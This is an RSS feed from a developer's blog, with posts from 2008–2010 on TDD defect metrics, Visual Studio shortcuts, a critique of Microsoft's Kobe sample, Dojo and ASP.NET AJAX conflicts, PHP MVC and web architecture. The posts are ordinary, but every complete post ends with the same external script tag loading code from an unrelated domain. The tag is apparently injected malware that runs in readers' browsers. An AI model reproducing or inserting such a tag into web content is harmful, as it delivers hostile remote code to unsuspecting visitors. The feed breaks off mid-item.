<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; development</title>
	<atom:link href="http://eric.polerecky.com/archives/category/development/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>TDD ROI Metrics</title>
		<link>http://eric.polerecky.com/archives/tdd-roi-metrics/</link>
		<comments>http://eric.polerecky.com/archives/tdd-roi-metrics/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 19:02:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[TDD]]></category>
		<category><![CDATA[development]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/tdd-roi-metrics/</guid>
		<description><![CDATA[<br/>Case studies were conducted with three development teams at Microsoft and one at IBM that have adopted TDD. The results of the case studies indicate that the pre-release defect density of the four products decreased between 40% and 90% relative to similar projects that did not use the TDD practice. Subjectively, the teams experienced a


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Case studies were conducted with three development teams at Microsoft and one at IBM that have adopted TDD. The results of the case studies indicate that the pre-release defect density of the four products decreased between 40% and 90% relative to similar projects that did not use the TDD practice. Subjectively, the teams experienced a 15–35% increase in initial development time after adopting TDD.</p>
<p><a href="http://www.springerlink.com/content/q91566748q234325/?p=7fd98b01480f49e2925f36393c999a72&amp;pi=3">http://www.springerlink.com/content/q91566748q234325/?p=7fd98b01480f49e2925f36393c999a72&amp;pi=3</a></p>
<p><a href="http://blog.agiledad.com/2009/07/cost-of-bug.html">http://blog.agiledad.com/2009/07/cost-of-bug.html</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/tdd-roi-metrics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Visual Studio 2008, F2, Rename</title>
		<link>http://eric.polerecky.com/archives/visual-studio-2008-f2-rename/</link>
		<comments>http://eric.polerecky.com/archives/visual-studio-2008-f2-rename/#comments</comments>
		<pubDate>Fri, 22 May 2009 14:15:09 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[development]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/visual-studio-2008-f2-rename/</guid>
		<description><![CDATA[<br/>For some reason Visual Studio 2008 has F2 mapped to the object browser…unlike almost every other Microsoft product including Visual Web Developer. 
Tools –&#62; Options




No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>For some reason Visual Studio 2008 has F2 mapped to the object browser…unlike almost every other Microsoft product including Visual Web Developer. </p>
<p>Tools –&gt; Options</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/05/image2.png"><img title="image" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="379" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/05/image-thumb2.png" width="649" border="0" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/visual-studio-2008-f2-rename/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kobe: My response to the response.</title>
		<link>http://eric.polerecky.com/archives/kobe-my-response-to-the-response/</link>
		<comments>http://eric.polerecky.com/archives/kobe-my-response-to-the-response/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 02:23:24 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Kobe]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=309</guid>
		<description><![CDATA[<br/>Let me start off by saying I am so happy with the “New” Microsoft. An engaged Microsoft, an open Microsoft.&#160; So to the Kobe team I say “Welcome to the real world”.
There are enough people writing about the amazingly horrible code. I’m upset with the response from the team. The response, at first glance, seems


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Let me start off by saying I am so happy with the “New” Microsoft. An engaged Microsoft, an open Microsoft.&#160; So to the Kobe team I say “Welcome to the real world”.</p>
<p>There are enough people <a href="http://weblogs.asp.net/rashid/archive/2009/04/16/kobe-ms-new-web-2-0-resource-kit-in-asp-net-mvc-and-my-thoughts.aspx#7048352" target="_blank">writing</a> <a href="http://ayende.com/Blog/archive/2009/04/17/kobe-ndash-data-access-done-wrong.aspx" target="_blank">about the</a> <a href="http://ayende.com/Blog/archive/2009/04/17/kobe-ndash-in-the-nuts-amp-bolts-and-donrsquot-really.aspx" target="_blank">amazingly</a> <a href="http://codebetter.com/blogs/karlseguin/archive/2009/04/16/kobe-oh-dead-lord-why.aspx" target="_blank">horrible code</a>. I’m upset with <a href="http://blogs.msdn.com/masashi_narumoto/archive/2009/04/17/project-kobe-community-feedback.aspx" target="_blank">the response from the team</a>. The response, at first glance, seems to acknowledge there is a problem and that they will fix the Kobe code. </p>
<p>Then I read it again…</p>
<p><a href="http://blogs.msdn.com/masashi_narumoto/archive/2009/04/17/project-kobe-community-feedback.aspx" target="_blank">This post</a> is defensive and response laden with manager speak for “fuck off”. More so, they don’t even acknowledge a problem with the Kobe code!</p>
<blockquote><p>The sample app is not a &quot;reference application&quot; in the context of code completeness. A &quot;sample app&quot; and a &quot;reference app&quot; are quite different in the context of code completeness, and we do not claim Kobe to be a reference app in this context. </p>
</blockquote>
<p>Oh!, I am so sorry, I thought it was a &quot;reference application&quot; now that I know its a &quot;sample app&quot; all is right in the world. FAIL. What is that code a sample of anyway? After looking at the code and reading the numerous community responses its quite easy for me to say.</p>
<blockquote><p>The Kobe code is a sample of how NOT to do ASP.NET MVC</p>
</blockquote>
<p>If we now have the same understanding of the word sample; then I agree; Kobe is a sample.</p>
<p>Now, I am aware that <a href="http://blog.wekeroad.com/" target="_blank">Rob</a> and the <a href="http://www.hanselman.com/blog/" target="_blank">Scott</a> are stepping in to <a href="http://twitter.com/shanselman/status/1540598780" target="_blank">clean this up</a>…Oxite déjà-vu. But I need to make one final comment about the teams acknowledgement of the problems in the code.</p>
<blockquote><p>We will review all sumitted feedback and take action to address items within the context of the intended scope &amp; goals of the Kobe project.</p>
</blockquote>
<p>That is so so so far from an acknowledgement. This is an <a href="http://twitter.com/robconery/status/1540132530" target="_blank">acknowledgement</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/kobe-my-response-to-the-response/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dojo and ASP.NET AJAX Compatibility</title>
		<link>http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/</link>
		<comments>http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 21:43:12 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ArcGIS]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[development]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.arcgis.png" width="100" height="55" alt="" title="ArcGIS" /><br/>As part of developing a project I created a Cross-Domain Proxy to consume the payment service. My Cross-Domain Proxy, Payment.asmx, is exposed via the JavaScript end point. Any ASP.NET web service can open the JavaScript endpoint by uncommenting line #7 in the asmx file.

&#160;
Once the ScriptService line is uncommented you can test that your service


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.arcgis.png" width="100" height="55" alt="" title="ArcGIS" /><br/><p>As part of developing a project I created a <a href="http://developer.yahoo.com/javascript/howto-proxy.html" target="_blank">Cross-Domain Proxy</a> to consume the payment service. My <a href="http://developer.yahoo.com/javascript/howto-proxy.html" target="_blank">Cross-Domain Proxy</a>, Payment.asmx, is exposed via the JavaScript end point. Any ASP.NET web service can open the JavaScript endpoint by uncommenting line #7 in the asmx file.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="125" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb.png" width="395" border="0" /></a></p>
<p>&#160;</p>
<p>Once the ScriptService line is uncommented you can test that your service is exposing the JavaScript endpoint by calling a URL similar to: </p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>~/WebService.asmx/JS</pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>In the master page I pull the service in.</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">&lt;</span><span class="html">asp:ScriptManager</span> <span class="attr">ID</span><span class="kwrd">=&quot;ocScriptManager&quot;</span> <span class="attr">runat</span><span class="kwrd">=&quot;server&quot;</span><span class="kwrd">&gt;</span></pre>
<pre><span class="lnum">   2:  </span>    <span class="kwrd">&lt;</span><span class="html">Services</span><span class="kwrd">&gt;</span></pre>
<pre class="alt"><span class="lnum">   3:  </span>          <span class="kwrd">&lt;</span><span class="html">asp:ServiceReference</span> <span class="attr">Path</span><span class="kwrd">=&quot;~/WebServices/Payment.asmx&quot;</span> <span class="kwrd">/&gt;</span></pre>
<pre><span class="lnum">   4:  </span>     <span class="kwrd">&lt;/</span><span class="html">Services</span><span class="kwrd">&gt;</span></pre>
<pre class="alt"><span class="lnum">   5:  </span><span class="kwrd">&lt;/</span><span class="html">asp:ScriptManager</span><span class="kwrd">&gt;</span></pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>At this point everything works. I can write JavaScript to call back to the web service methods as such:</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>WebService.AddItem(<span class="str">'item'</span>, CallBackFunction, FailFunction);</pre>
<pre><span class="lnum">   2:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">   3:  </span>CallBackFunction = <span class="kwrd">function</span>(){</pre>
<pre><span class="lnum">   4:  </span>     alert(<span class="str">'everything worked'</span>);</pre>
<pre class="alt"><span class="lnum">   5:  </span>}</pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p>Now, I pull dojo into this project.</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">&lt;</span><span class="html">script</span> <span class="attr">type</span><span class="kwrd">=&quot;text/javascript&quot;</span><span class="kwrd">&gt;</span>djConfig = { parseOnLoad: <span class="kwrd">false</span>, usePlainJson: <span class="kwrd">true</span> };<span class="kwrd">&lt;/</span><span class="html">script</span><span class="kwrd">&gt;</span></pre>
<pre><span class="lnum">   2:  </span>&lt;script type=<span class="str">&quot;text/javascript&quot;</span> src=<span class="str">&quot;http://dojopath/dojo.js&quot;</span>&gt;<span class="kwrd">&lt;/</span><span class="html">script</span><span class="kwrd">&gt;</span></pre>
</div>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p>Here is where we start to run into problems. Due to, what I believe, is having both JavaScript APIs in the same project.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image1.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="24" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb1.png" width="644" border="0" /></a> </p>
<p>If we change the order of API loading we can get a, somewhat, clearer error message.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image2.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="58" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb2.png" width="644" border="0" /></a> </p>
</p>
<p>Now looking at line 1175 we see:</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/02/image3.png"><img title="image" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="271" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/02/image-thumb3.png" width="644" border="0" /></a> </p>
<p><strong>Conclusion: </strong></p>
<p>I believe that I have exhausted my troubleshooting efforts. although I am not sure if this is enough information to validate the existence of a bug I opened a ticket with Dojo. Then again, I am not sure who can or should fix it.</p>
<p><a title="http://trac.dojotoolkit.org/ticket/7353" href="http://trac.dojotoolkit.org/ticket/7353">http://trac.dojotoolkit.org/ticket/7353</a></p>
<p>I blogged about this once before.</p>
<p><a title="http://eric.polerecky.com/archives/dijitformvalidationtextbox-and-aspnet-ajax/" href="http://eric.polerecky.com/archives/dijitformvalidationtextbox-and-aspnet-ajax/">http://eric.polerecky.com/archives/dijitformvalidationtextbox-and-aspnet-ajax/</a></p>
<p><strong>Workaround:</strong></p>
<p>In my project I use dojo.xhr to make calls back to the server.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/dojo-and-aspnet-ajax-compatibility/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OOP Rant. Die Recordset Die!</title>
		<link>http://eric.polerecky.com/archives/oop-rant-die-recordset-die/</link>
		<comments>http://eric.polerecky.com/archives/oop-rant-die-recordset-die/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 16:41:19 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[rant]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/oop-rant-die-recordset-die/</guid>
		<description><![CDATA[<br/>
OOP

   1:  $user = new user();
   2:  $user.name = &#34;eric&#34;;
   3:  $user.save(); //write to database
   4:  &#160;
   5:  $eric = user.fetchByName('eric'); //read from DB.
   6:  $eric.keepTyping();


.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode


No related posts.]]></description>
			<content:encoded><![CDATA[<br/></p>
<h5>OOP</h5>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>$user = <span class="kwrd">new</span> user();</pre>
<pre><span class="lnum">   2:  </span>$user.name = <span class="str">&quot;eric&quot;</span>;</pre>
<pre class="alt"><span class="lnum">   3:  </span>$user.save(); <span class="rem">//write to database</span></pre>
<pre><span class="lnum">   4:  </span>&#160;</pre>
<pre class="alt"><span class="lnum">   5:  </span>$eric = user.fetchByName(<span class="str">'eric'</span>); <span class="rem">//read from DB.</span></pre>
<pre><span class="lnum">   6:  </span>$eric.keepTyping();</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>Not OOP.</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>  rs.Open <span class="str">&quot;Select * from Customers&quot;</span>, conn   </pre>
<pre><span class="lnum">   2:  </span>  <span class="kwrd">for</span> each x <span class="kwrd">in</span> rs.fields   </pre>
<pre class="alt"><span class="lnum">   3:  </span>     response.write(x.name)   </pre>
<pre><span class="lnum">   4:  </span>     response.write(<span class="str">&quot; = &quot;</span>)   </pre>
<pre class="alt"><span class="lnum">   5:  </span>     response.write(x.<span class="kwrd">value</span>)   </pre>
<pre><span class="lnum">   6:  </span>  next</pre>
</div>
<p>Ok, I am done.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/oop-rant-die-recordset-die/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why would I not code stuff using Adobe Air?</title>
		<link>http://eric.polerecky.com/archives/why-would-i-not-code-stuff-using-adobe-air/</link>
		<comments>http://eric.polerecky.com/archives/why-would-i-not-code-stuff-using-adobe-air/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 08:15:41 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Air]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/why-would-i-not-code-stuff-using-adobe-air/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.jquery.png" width="215" height="53" alt="" title="jQuery" /><br/>Really, why have I waited so long to jump into a platform that is based on JavaScript&#8230;and HTML and CSS. Really, after spending 1.5 hours with Air I am totally amazed at my own stupidity. Oh&#8217; and I started on YAAATC (Yet another adobe air twitter client) yaht-C&#8230;its like expresso and espresso&#8230;
Its rather late and


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.jquery.png" width="215" height="53" alt="" title="jQuery" /><br/><p>Really, why have I waited so long to jump into a platform that is based on JavaScript&#8230;and HTML and CSS. Really, after spending 1.5 hours with Air I am totally amazed at my own stupidity. Oh&#8217; and I started on YAAATC (Yet another adobe air twitter client) yaht-C&#8230;its like expresso and espresso&#8230;</p>
<p>Its rather late and I have to get up early&#8230;to go to work and code more Air stuff I guess&#8230;</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/01/image1.png"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="154" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/01/image-thumb1.png" width="244" border="0" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/why-would-i-not-code-stuff-using-adobe-air/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Model-less PHP MVC</title>
		<link>http://eric.polerecky.com/archives/model-less-php-mvc/</link>
		<comments>http://eric.polerecky.com/archives/model-less-php-mvc/#comments</comments>
		<pubDate>Tue, 06 Jan 2009 21:28:58 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Project Templates]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/model-less-php-mvc/</guid>
		<description><![CDATA[<br/> I wrapped up the alpha version of the new Technology Aces PHP MVC Framework. Which by the way I really need a name for. TAPMF? um….no. 
I don’t have any code for the model yet…hence model-less MVC..I’ll have it done soon.


Features

PHP MVC&#8230;what more do you need?
Templeting/Caching via Dwoo
A slight bit of routing and error


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p><a href="http://eric.polerecky.com/wp-content/uploads/2009/01/image.png"><img title="image" style="border-right: 0px; border-top: 0px; display: inline; margin: 0px; border-left: 0px; border-bottom: 0px" height="159" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/01/image-thumb.png" width="244" align="right" border="0" /></a> I wrapped up the alpha version of the new <a href="http://php.technologyaces.com">Technology Aces PHP MVC Framework</a>. Which by the way I really need a name for. TAPMF? um….no. </p>
<p>I don’t have any code for the model yet…hence model-less MVC..I’ll have it done soon.</p>
<div id="contenttext">
<div class="bodytext" style="padding-right: 12px; padding-left: 12px; padding-bottom: 12px; padding-top: 12px" align="justify">
<h4>Features</h4>
<ul>
<li>PHP MVC&#8230;what more do you need?</li>
<li>Templeting/Caching via <a href="http://dwoo.org/">Dwoo</a></li>
<li>A slight bit of routing and error handeling</li>
</ul>
<h4>Features&#8230;soon</h4>
<ul>
<li>Base Model class for simple methods</li>
<li>CSS Reset</li>
</ul>
<h4>Features&#8230;Never?</h4>
<ul>
<li>Much more then is listed here&#8230;</li>
<li>Unless.</li>
</ul></div>
</p></div>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/model-less-php-mvc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pinggr &#8211; meta micro blogging</title>
		<link>http://eric.polerecky.com/archives/pinggr-meta-micro-blogging/</link>
		<comments>http://eric.polerecky.com/archives/pinggr-meta-micro-blogging/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 21:15:22 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[pinggr]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=232</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.jquery.png" width="215" height="53" alt="" title="jQuery" /><br/>Or just what I coded to I could lean how to use facebook connect&#8230;
Background
When facebook connect was released I wanted to code something to see how it all worked. I wanted to code something I could prop up relatively quick. Partly due to my lack of time but also because I have not released one


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/logo.jquery.png" width="215" height="53" alt="" title="jQuery" /><br/><p>Or just what I coded to I could lean how to use facebook connect&#8230;</p>
<h2>Background</h2>
<p>When facebook connect was released I wanted to code something to see how it all worked. I wanted to code something I could prop up relatively quick. Partly due to my lack of time but also because I have not released one single piece of software all year! I decided that, since I was just hopping into the land of twitter and I found it complicated to manage my twitter status and my facebook status, that I would write a small app that would allow me to update the status of each site either concurrently or independently.</p>
<h2>Specifications</h2>
<ul>
<li>support facebook connect : (100%)</li>
<li>local uid/pass system : (80%)</li>
<li>update facebook status : (100%)</li>
<li>update twitter status : (100%)</li>
<li>update local status : (100%)</li>
<li>private status updates : (100%)</li>
<li>support tags : (100%)</li>
<li>support date/time updates (past, present and future) : (70%)</li>
<li>provide meaningful statistics : (30%)</li>
<li>support a public profile/time line page. <a href="http://pinggr.com/detroitpro">http://pinggr.com/detroitpro</a> : (50%)</li>
<li>mobile version : (10%)</li>
<li>simple API : (0%)</li>
</ul>
<h2>Out of scope</h2>
<ul>
<li>Clone twitter
<ul>
<li>I am thinking that it would more sit &#8220;on top&#8221; of the status update services.</li>
</ul>
</li>
<li>Full &#8220;router&#8221; support aka: act like ping.fm</li>
</ul>
<h2>Features I would like to add in the future</h2>
<ul>
<li>Twitter style reply and dm</li>
<li>openid support</li>
<li>more status sites</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/pinggr-meta-micro-blogging/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Content Segregation is a bad idea</title>
		<link>http://eric.polerecky.com/archives/content-segregation-is-a-bad-idea/</link>
		<comments>http://eric.polerecky.com/archives/content-segregation-is-a-bad-idea/#comments</comments>
		<pubDate>Sun, 26 Oct 2008 13:08:57 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[SQL]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/content-segregation-is-a-bad-idea/</guid>
		<description><![CDATA[<br/>
In the past, when building small web applications with up to a couple concurrent users, I’ve placed the database on the same system as the web server. Blasphemy!!!…not really. You see, knowing that database systems will entirely consume their allocated memory allows for clear capacity planning. 
There are many factors that need to be taken


No related posts.]]></description>
			<content:encoded><![CDATA[<br/></p>
<p>In the past, when building small web applications with up to a couple concurrent users, I’ve placed the database on the same system as the web server. Blasphemy!!!…not really. You see, knowing that database systems will entirely consume their allocated memory allows for clear capacity planning. </p>
<p>There are many factors that need to be taken into consideration when designing an architecture and for the sake of this post lets just say that:</p>
<ul>
<li>This system does not require a ridiculous amount of memory</li>
<li>This system does not require HA</li>
</ul>
<p>And really, while every project sponsor will tell you that their project requires the most powerful server ever built and for the sake of humanity can never go offline again, most web applications don’t require all that much memory…and the fate of the company is not dependant on 100% uptime…just check the SLA.</p>
<h4>So what does this all have to do with “Content Segregation”? Oh, and WTF is “Content Segregation”?</h4>
<p>Ok, ok, just one more paragraph to provide context. </p>
<p>Large web applications with high concurrent user counts will commonly separate not only content types across systems but also application modules. For example, there might be a small web server cluster for images or a separate group of servers for the account management modules (login, register, profile). These practices are commonly accepted and I couldn’t agree with them more. Its just that most of the applications I am involved with don’t require this type of advanced architecture even though the project sponsor would have you believe otherwise. These, not the large web applications, are those we need to discuss..</p>
<p><strong>So what does this all have to do with “Content Segregation”? Oh, and WTF is “Content Segregation”?</strong></p>
<p>Until recently performance and availably have been the only reasons I’ve recognized to <span class="hw">separate </span>content across physical servers. That is until just very recently, in a meeting of the minds it was stated, as fact, that “Items of content type X are data and should be stored on the database server” </p>
<p>WTF? Let me clarify, not IN the database, but on the database server file system..</p>
<p>Ok, I have my head around what you are saying, I understand that your an advocate of Content Segregation, I just don’t understand why, but I can tell you why not.</p>
<p><strong>1. Performance</strong></p>
<p>Database servers are commonly separate physical systems for performance reasons. The DB server should not be a dumping ground of user generated content. It might seem silly but there is a chance that you might really use the SQL server for something that requires its full power. Maybe some form of analytics and when that happens you need to have the available power.</p>
<p><strong>2. Slippery Slope</strong></p>
<p>I truly hate this argument but it fits so perfect into this context. Its not so far of a leap to go from storing images on the database file system to storing images in the database. </p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/content-segregation-is-a-bad-idea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thinking about the difference between frameworks</title>
		<link>http://eric.polerecky.com/archives/thinking-about-the-difference-between-frameworks/</link>
